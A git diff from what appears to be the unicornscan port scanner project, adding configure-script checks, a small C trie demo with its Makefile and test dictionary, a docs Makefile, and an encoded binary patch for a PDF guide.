ifaddrs.h net/bpf.h net/ethernet.h sys/ethernet.h netinet/if_ether.h netinet/ether.h netpacket/packet.h], [], [], [#include +#ifdef HAVE_SYS_TIME_H +#include +#endif +#ifdef HAVE_SYS_SOCKET_H +#include +#endif +#ifdef HAVE_NETINET_IN_H +#include +#endif +#ifdef HAVE_NET_IF_H +#include +#endif +]) + +AC_CHECK_MEMBER([struct sockaddr.sa_len], [AC_DEFINE(HAVE_STRUCT_SOCKADDR_LEN)], [], [#include +#include ]) + +dnl +dnl checks for library functions. +dnl +AC_FUNC_CLOSEDIR_VOID +AC_FUNC_FORK +AC_PROG_GCC_TRADITIONAL +AC_FUNC_MALLOC +AC_FUNC_REALLOC +AC_TYPE_SIGNAL +AC_FUNC_STAT +AC_FUNC_VPRINTF +AC_CHECK_FUNCS([alarm gethostbyname gettimeofday inet_ntoa memset select socket strdup strerror strstr strrchr getnameinfo getaddrinfo]) + +AC_SEARCH_LIBS([nanosleep], [rt posix4]) +AC_SEARCH_LIBS([inet_aton], [resolv]) + +dnl +dnl checks for other libraries and features +dnl + +NEED_AUX_LIBS="" + +AC_UNI_LIBPCAP +AC_UNI_LIBDNET +AC_UNI_LIBLTDL +dnl AC_UNI_SELINUX +AC_UNI_PROCNETROUTE + +dnl XXX hack until selinux code is updated, the above macro is no longer called... +CHCON=true +SP_MODE=755 +shlibs=.la +AC_SUBST(CHCON) +AC_SUBST(SP_MODE) +AC_DEFINE_UNQUOTED(SHLIB_EXT, "$shlibs") + +AC_UNI_PRNG +AC_PATH_PROGS(USE_MAKE, gmake gnumake make) + +AX_C___ATTRIBUTE__ + +dnl execinfo.h -> real test +AC_MSG_CHECKING(for backtrace in execinfo.h) +AC_LINK_IFELSE([ +#include +#include +int main(int argc, char ** argv) { + void *bs[[50]]; int sz=0; + sz=backtrace(bs, 50); + backtrace_symbols_fd(bs, sz, 2); + exit(0); +} +], [AC_MSG_RESULT(yes) +AC_DEFINE(WITH_BACKTRACE)], [AC_MSG_RESULT(no)]) + +bundled_ltdl="no" +AC_MSG_CHECKING([whether to force bundled libltdl to be staticly linked into executables]) +AC_ARG_ENABLE(bundled-ltdl, +[ --enable-bundled-ltdl staticly link against bundled ltdl, not system wide version], +[bundled_ltdl="yes"], +[bundled_ltdl="no"]) +case "$bundled_ltdl" in +yes) + AC_MSG_RESULT([yes]) + NEED_AUX_LIBS="${NEED_AUX_LIBS} libltdl" + ;; +*) + AC_MSG_RESULT([no]) + ;; +esac + +AC_ARG_ENABLE(debug-support, +[ --enable-debug-support enable possibly unsafe debugging functions], +[ +AC_DEFINE(DEBUG_SUPPORT) +U_COPTS="${U_COPTS} -ggdb -Wall -pipe -Wshadow -Wcast-align -Wcast-qual -Wchar-subscripts -Wno-deprecated-declarations -Wformat-security -Wimplicit -Wsign-compare -Wuninitialized -Wunused -Wwrite-strings -Wmissing-format-attribute -Wmissing-noreturn -Wmissing-braces -Wparentheses -Wsequence-point -Wno-format-y2k" +], []) + +AC_SUBST(NEED_AUX_LIBS) + +dnl check for non-priv user +AC_MSG_CHECKING(for non-priv user for listener) +AC_ARG_WITH(listen-user, +[ --with-listen-user enable username for listener (default nobody)], +[listen_user="$withval"], +[listen_user="nobody"]) + +case "$listen_user" in +yes) + listen_user="nobody" + AC_MSG_RESULT([Using user nobody]) + AC_DEFINE_UNQUOTED(NOPRIV_USER, "$listen_user") + ;; +no) + AC_MSG_ERROR([using a listen-user of no is silly, what i was looking for was a username]) + ;; +*) + AC_MSG_RESULT([Using user $listen_user]) + AC_DEFINE_UNQUOTED(NOPRIV_USER, "$listen_user") + ;; +esac +AC_SUBST(NOPRIV_USER) + +case "${host_cpu}" in +x86_64) + U_CFLAGS="${U_CFLAGS} -fPIC" + ;; +esac + +case "${host_os}" in +*linux*) + AC_DEFINE(USE_SETRE) + ;; +*netbsd*) + AC_DEFINE(USE_SETRE) + ;; +*freebsd*) + AC_DEFINE(USE_SETRE) + ;; +*darwin*) + ;; +*solaris*) + ;; +*aix*) + ;; +esac + +DBTYPES="" +MY_LDFLAGS="" +MY_CPPFLAGS="" +PG_LDFLAGS="" +PG_CPPFLAGS="" +mysql="no" +pgsql="no" + +dnl lifted from the snort mysql configure.in +default_directory="/usr /usr/local /usr/local/mysql" + +AC_ARG_WITH(mysql, + [ --with-mysql=DIR support for mysql], + [ with_mysql="$withval" ], + [ with_mysql=no ]) +if test "$with_mysql" != "no"; then + if test "$with_mysql" = "yes"; then + mysql_directory="$default_directory"; + mysql_fail="yes" + elif test -d $withval; then + mysql_directory="$withval" + mysql_fail="no" + elif test "$with_mysql" = ""; then + mysql_directory="$default_directory"; + mysql_fail="no" + fi + AC_MSG_CHECKING(for mysql) + for i in $mysql_directory; do + if test -r $i/include/mysql/mysql.h; then + MYSQL_DIR=$i + MYSQL_INC_DIR=$i/include/mysql + elif test -r $i/include/mysql.h; then + MYSQL_DIR=$i + MYSQL_INC_DIR=$i/include + fi + done + if test -z "$MYSQL_DIR"; then + if test "$mysql_fail" != "no"; then + AC_MSG_ERROR(cant find mysql headers (mysql.h), rerun configure with --with-mysql=/path/to/mysql/prefix, 1) + else + AC_MSG_RESULT(no) + fi + else + for i in lib lib/mysql; do + str="$MYSQL_DIR/$i/libmysqlclient.*" + for j in `echo $str`; do + if test -r $j; then + MYSQL_LIB_DIR="$MYSQL_DIR/$i" + break 2 + fi + done + done + if test -z "$MYSQL_LIB_DIR"; then + if test "$mysql_fail" != "no"; then + AC_MSG_ERROR(cant find mysqlclient library, libmysqlclient.?, rerun configure --with-mysql=/path/to/mysql/prefix, 1) + else + AC_MSG_RESULT(no) + fi + else + AC_MSG_RESULT(yes) + AC_DEFINE(WITH_MYSQL) + AC_CHECK_LIB(z, compress) + MY_LDFLAGS="-L${MYSQL_LIB_DIR}" + MY_CPPFLAGS="-I${MYSQL_INC_DIR}" + DBTYPES="${DBTYPES} mysql" + mysql="yes" + fi + fi +fi + +default_directory="/usr /usr/local /usr/local/pgsql /usr/local/postgresql" + +AC_ARG_WITH(pgsql, + [ --with-pgsql=DIR support for PostgreSQL], + [ with_pgsql="$withval" ], + [ with_pgsql=no ]) +if test "$with_pgsql" != "no"; then + if test "$with_pgsql" = "yes"; then + pgsql_directory="$default_directory"; + pgsql_fail="yes" + elif test -d $withval; then + pgsql_directory="$withval" + pgsql_fail="no" + elif test "$with_pgsql" = ""; then + pgsql_directory="$default_directory"; + pgsql_fail="no" + fi + AC_MSG_CHECKING(for PostgreSQL) + for i in $pgsql_directory; do + if test -r $i/include/libpq-fe.h; then + PGSQL_DIR=$i + PGSQL_INC_DIR=$i/include + fi + done + if test -z "$PGSQL_DIR"; then + if test "$pgsql_fail" != "no"; then + tmp="" + for i in $pgsql_directory; do + tmp="$tmp $i/include" + done + AC_MSG_ERROR(cant find PostgreSQL header libpq-fe.h, rerun configure with --with-pgsql=/path/to/pgsql/prefix, 1) + else + AC_MSG_RESULT(no) + fi + else + for i in lib lib/postgresql; do + str="$PGSQL_DIR/$i/libpq.*" + for j in `echo $str`; do + if test -r $j; then + PGSQL_LIB_DIR="$PGSQL_DIR/$i" + break 2 + fi + done + done + if test -z "$PGSQL_LIB_DIR"; then + if test "$pgsql_fail" != "no"; then + AC_MSG_ERROR(cant find PostgreSQL pq library, rerun configure with --with-pgsql=/path/to/pgsql/prefix, 1) + else + AC_MSG_RESULT(no) + fi + else + AC_MSG_RESULT(yes) + AC_DEFINE(WITH_PGSQL) + PG_LDFLAGS="${LDFLAGS} -L${PGSQL_LIB_DIR}" + PG_CPPFLAGS="${CPPFLAGS} -I${PGSQL_INC_DIR}" + DBTYPES="${DBTYPES} pgsql" + pgsql="yes" + fi + fi +fi + +AC_CHECK_LIB([GeoIP], [GeoIP_open], [], [], []) + +AC_SUBST(DESTDIR) +AC_SUBST(DBTYPES) +AC_SUBST(PG_LDFLAGS) +AC_SUBST(PG_CPPFLAGS) +AC_SUBST(MY_LDFLAGS) +AC_SUBST(MY_CPPFLAGS) + +dnl check for getopt_long +AC_MSG_CHECKING(for getopt_long) +AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[#include +#include +#include +#include ]], [[getopt_long(0,NULL,NULL,NULL,NULL);]])],[AC_MSG_RESULT(yes) +AC_DEFINE(WITH_LONGOPTS)],[AC_MSG_RESULT(no) +]) + +dnl check for cpu endianess +AC_C_BIGENDIAN(AC_DEFINE(CPU_BIGENDIAN), AC_DEFINE(CPU_LITTLEENDIAN), AC_MSG_ERROR(no no no you dont)) + +dnl checks for special files + +U_CDEFS="${DEFS} ${U_CDEFS}" +U_COPTS="${CFLAGS} ${U_COPTS}" +U_CINCS="${CPPFLAGS} ${U_CINCS}" +U_LDFLAGS="${LDFLAGS} ${U_LDFLAGS}" +U_LIBS="${U_LIBS} ${UNILDADD}" + +AC_SUBST(U_COPTS) +AC_SUBST(U_CDEFS) +AC_SUBST(U_CINCS) +AC_SUBST(U_LDFLAGS) +AC_SUBST(U_LIBS) + +AC_SUBST(sendername, $sendername) +AC_SUBST(listenername, $listenername) +AC_SUBST(targetname, $targetname) +AC_DEFINE_UNQUOTED(SENDERNAME, "$sendername") +AC_DEFINE_UNQUOTED(TARGETNAME, "$targetname") +AC_DEFINE_UNQUOTED(LISTENERNAME, "$listenername") + +AC_CONFIG_FILES([Makefile + Makefile.inc + etc/Makefile + libs/Makefile + docs/Makefile + selinux/Makefile + ext_src/Makefile + src/Makefile + src/packageinfo.h + src/unilib/Makefile + src/scan_progs/Makefile + src/scan_progs/tests/Makefile + src/tools/Makefile + src/tools/p0f/Makefile + src/output_modules/Makefile + src/output_modules/database/Makefile + src/payload_modules/Makefile + src/payload_modules/libunirainbow/Makefile + src/report_modules/Makefile + src/report_modules/osdetect/Makefile + src/parse/Makefile]) + +AC_OUTPUT + +selinux=no +if test $CHCON = chcon; then + selinux=yes +fi + +echo +echo "-- Configuration Summary --" +echo "prefix: ${prefix}" +echo "PostgreSQL Support: $pgsql" +echo "MySQL Support: $mysql" +echo "GeoIP support: $ac_cv_lib_GeoIP_GeoIP_open" +echo "SELinux Support: $selinux" +echo "Listen User: (non-selinux) $listen_user" +echo "libraries missing that will be built: \`$NEED_AUX_LIBS'" +echo "C options = $U_COPTS" +echo "C defines = $U_CDEFS" +echo "C include = $U_CINCS" +echo "Link Flags = $U_LDFLAGS" +echo "type $USE_MAKE to build" + +echo diff --git a/contrib/trie/Makefile b/contrib/trie/Makefile new file mode 100644 index 0000000..cc2463b --- /dev/null +++ b/contrib/trie/Makefile @@ -0,0 +1,24 @@ +CC=gcc-4.1.1 +CFLAGS= -Wall -Wshadow -Wcast-align -Wchar-subscripts -Wno-deprecated-declarations -Wformat-nonliteral -Wformat-security -Wimplicit -Wsign-compare -Wunused -Wmissing-format-attribute -Wmissing-noreturn -Wmissing-braces -Wparentheses -Wsequence-point -Wno-format-y2k -Wpointer-arith -fstrict-aliasing +CFLAGS+= -ggdb -Werror +LDFLAGS= + +PROGNAME=test +SRCS=trie.c stats.c +OBJS=$(SRCS:.c=.o) + +all: $(PROGNAME) + +.c.o: $< + $(CC) $(CFLAGS) -c $< -o $@ + +$(PROGNAME): $(OBJS) + $(CC) $(OBJS) -o $(PROGNAME) $(LDFLAGS) + +install: + @echo "fuck you! shut up! you're wrong!" + +distclean: clean + +clean: + rm -f $(PROGNAME) $(OBJS) test.svg gmon.out diff --git a/contrib/trie/dict b/contrib/trie/dict new file mode 100644 index 0000000..6398bc9 --- /dev/null +++ b/contrib/trie/dict @@ -0,0 +1,16 @@ +to +tea +ten +inn +cow +frog +hat +dog +tony +terry +toby +tonya +thony +thonya +kehkehkeh +kehkehcow diff --git a/contrib/trie/run.sh b/contrib/trie/run.sh new file mode 100755 index 0000000..ca68f07 --- /dev/null +++ b/contrib/trie/run.sh @@ -0,0 +1,7 @@ +#!/bin/sh + +PROGNAME="./test" +TESTFILE="test.svg" +DICT="dict" + +cat $DICT | $PROGNAME > $TESTFILE diff --git a/contrib/trie/trie.c b/contrib/trie/trie.c new file mode 100644 index 0000000..990d606 --- /dev/null +++ b/contrib/trie/trie.c @@ -0,0 +1,257 @@ +#include +#include +#include +#include /* ditch me */ +#include +#include "stats.h" +#include "trie.h" + +static int charcmp(const void *a, const void *b); +static int tr_nodecmp(const void *a, const void *b); + +int main(int argc, char *argv[]) { + + struct trie *t = NULL; + char keybuf[1024], databuf[1024]; + size_t i; + + tr_compar = charcmp; + + t = malloc(sizeof(struct trie)); + if (!t) + err(1, "malloc"); + + memset(t, 0, sizeof(struct trie)); + + stats_init(); + while (fgets(keybuf, 1023, stdin)) { + + keybuf[strlen(keybuf)-1] = '\0'; /* FIXME \r\n */ + + snprintf(databuf, 1023, "%s is the data as well", keybuf); + + stats_depth_0(); + int ret = tr_insert(t, keybuf, strdup(databuf)); + if (ret != 0) + err(1, "tr_insert"); + } + + stats_dump(); + + for (i = 1; i < (size_t)argc; i++) { + tr_search(t, argv[i]); + } + + printf("\n" + "\n"); + + t->tr_key='*'; + tr_print(t, 0.0, canvas_width, 512.0, 32.0); + printf("\n"); + + tr_destroy(t); + stats_fini(); + + return (0); +} + +int tr_insert(struct trie *t, const char *s, void *data) { + + + struct trie tmp, *tmpp = &tmp, + *memb = NULL; + + + if (*s == '\0') { + if (t->tr_data) { + printf("node already exists: %c: '%s'\n", t->tr_key, (char *)data); + return (-1); /* Node already exists */ + } + + + t->tr_data = data; + + return (0); + } + + tmp.tr_key = *s; + + if (!t) { + t = (struct trie *)malloc(sizeof(struct trie)); + if (!t) + err(1, "malloc"); + + memset(t, 0, sizeof(struct trie)); + + /* the head member does not have a tr_key and + no data should be associated with it */ + } + + if (t->tr_nmemb) { + + memb = bsearch(&tmpp, t->tr_members, t->tr_nmemb, + sizeof(struct trie *), tr_nodecmp); + + stats_depth_down(); + + if (memb && *(struct trie **)memb) { /* recurse here */ + return (tr_insert(*(struct trie **)memb, ++s, data)); + } + } + + + t->tr_nmemb++; + t->tr_members = (struct trie **)realloc(t->tr_members, + t->tr_nmemb * sizeof(struct trie)); /* int ovrflw */ + + + memb = malloc(sizeof(struct trie)); + if (!memb) + err(1, "malloc"); + + memset(memb, 0, sizeof(struct trie)); + memb->tr_key = *s; + + t->tr_members[t->tr_nmemb - 1] = memb; + + if (t->tr_nmemb > 1) + qsort(t->tr_members, t->tr_nmemb, sizeof(struct trie *), tr_nodecmp); + + stats_depth_bottom(); + + return (tr_insert(memb, ++s, data)); +} + +int tr_search(struct trie *t, const char *s) { + + struct trie tmp, *tmpp = &tmp, + *memb = NULL; + + if (*s == '\0') { + if (!t->tr_data) { + printf("NOTFOUND: No entry for key\n"); + return (-1); /* No entry for key */ + } + + printf("\nFound '%s'\n", (char *)t->tr_data); + + return 0; + } + + tmp.tr_key = *s; + + if (t->tr_nmemb) { + memb = bsearch(&tmpp, t->tr_members, t->tr_nmemb, + sizeof(struct trie *), tr_nodecmp); + + if (memb && *(struct trie **)memb) { + return (tr_search(*(struct trie **)memb, ++s)); + } + + printf("NOTFOUND: no member found for '%c'\n", *s); + return (-1); + } + + printf("NOTFOUND: No entry for key (no more members)\n"); + + return (-1); +} + +void tr_destroy(struct trie *t) { + + size_t i; + + for (i = 0; i < t->tr_nmemb; i++) { + tr_destroy(t->tr_members[i]); + t->tr_members[i] = TR_POISON1; + } + + if (t->tr_nmemb) { + free(t->tr_members); + t->tr_members = TR_POISON2; + } + + if (t->tr_data) { + free(t->tr_data); + t->tr_data = TR_POISON3; + } + + free(t); +} + +void tr_print(struct trie *t, float xstart, float xwidth, float x, float y) { + + size_t i; + char style[] = "font-size:18px;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Arial"; +//"font-size:18px"; + size_t nchild; + float xi = 0.0; + +// printf("\n", x, y-4); + +// printf("%c\n", x, y, style, t->tr_key); + + for (nchild=0, i = 0; i < t->tr_nmemb; i++) { + nchild++; + } + printf("\n", nchild); + printf("\n", xstart); + printf("\n", xwidth); + printf("\n", x,y); + + if (nchild) + xwidth /= nchild; + + for (i = 0; i < t->tr_nmemb; i++) { + xi = xstart + xwidth/2.0; + printf("\n", (xwidth/nchild)/2.0); + printf("\n", xi); + + printf("\n", + x, y+8+4, xi, y+64); + + tr_print(t->tr_members[i], xstart, xwidth, xi, y+64); + xstart += xwidth; + } +} + +/* parameters: + a: ptr to a single character + b: ptr to a struct trie + returns: + an integer less than, equal to, or greater than zero if the key + of node 'a' is found, respectively, to be less than, to match, or + be greater than they key of node 'b'. + purpose: + used as a qsort callback +*/ +static int tr_nodecmp(const void *a, const void *b) { + + union { + const void *p; + const struct trie **t; + } u1 = { .p = a }, u2 = { .p = b }; + + return (tr_compar(&(*u1.t)->tr_key, &(*u2.t)->tr_key)); +} + +/* parameters: + a: ptr to a single char + b: ptr to a single char +*/ +static int charcmp(const void *a, const void *b) { + + union { + const void *p; + const uint8_t *c; + } u1 = { .p = a }, u2 = { .p = b }; + + if (u1.c[0] > u2.c[0]) + return (1); + + if (u1.c[0] < u2.c[0]) + return (-1); + + return (0); +} diff --git a/contrib/trie/trie.h b/contrib/trie/trie.h new file mode 100644 index 0000000..07c7cb8 --- /dev/null +++ b/contrib/trie/trie.h @@ -0,0 +1,23 @@ +#ifndef TRIE_H +#define TRIE_H + +#include + +struct trie { + size_t tr_nmemb; + struct trie **tr_members; + void *tr_data; + uint8_t tr_key; /* [1] */ +}; + +#define TR_POISON1 ((void *)0x46524545) +#define TR_POISON2 ((void *)0x46524547) +#define TR_POISON3 ((void *)0x46524548) + +void tr_print(struct trie * /* root */, float /* xstart */, float /* xwidth */, float /* x */, float /* y */); +void tr_destroy(struct trie *); +int tr_insert(struct trie *, const char *, void *); +int tr_search(struct trie *, const char *); +int (*tr_compar)(const void *, const void *); + +#endif /* TRIE_H */ diff --git a/docs/Makefile.in b/docs/Makefile.in new file mode 100644 index 0000000..d553a20 --- /dev/null +++ b/docs/Makefile.in @@ -0,0 +1,25 @@ +include ../Makefile.inc + +all: unicornscan.1 + +unicornscan.dvi: unicornscan.tex + latex unicornscan.tex + +unicornscan.pdf: unicornscan.dvi + pdflatex unicornscan.tex + +unicornscan.1: unicornscan_man.tex + latex2man unicornscan_man.tex unicornscan.1 + +install: unicornscan.1 + mkdir -p $(DESTDIR)/$(mandir)/man1 + $(INSTALL_PROGRAM) -m 644 unicornscan.1 $(DESTDIR)/$(mandir)/man1/@targetname@.1 + +clean: + rm -f *.aux *.dvi *.ps *.log + +distclean: clean + rm -f unicornscan.dvi *.log + +uninstall: + rm -f $(DESTDIR)/$(mandir)/man1/@targetname@.1 diff --git a/docs/Unicornscan-Getting_Started.pdf b/docs/Unicornscan-Getting_Started.pdf new file mode 100644 index 0000000000000000000000000000000000000000..48c92a1fd94d388aec286fb12a9b94f8d985907b GIT binary patch literal 159288 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 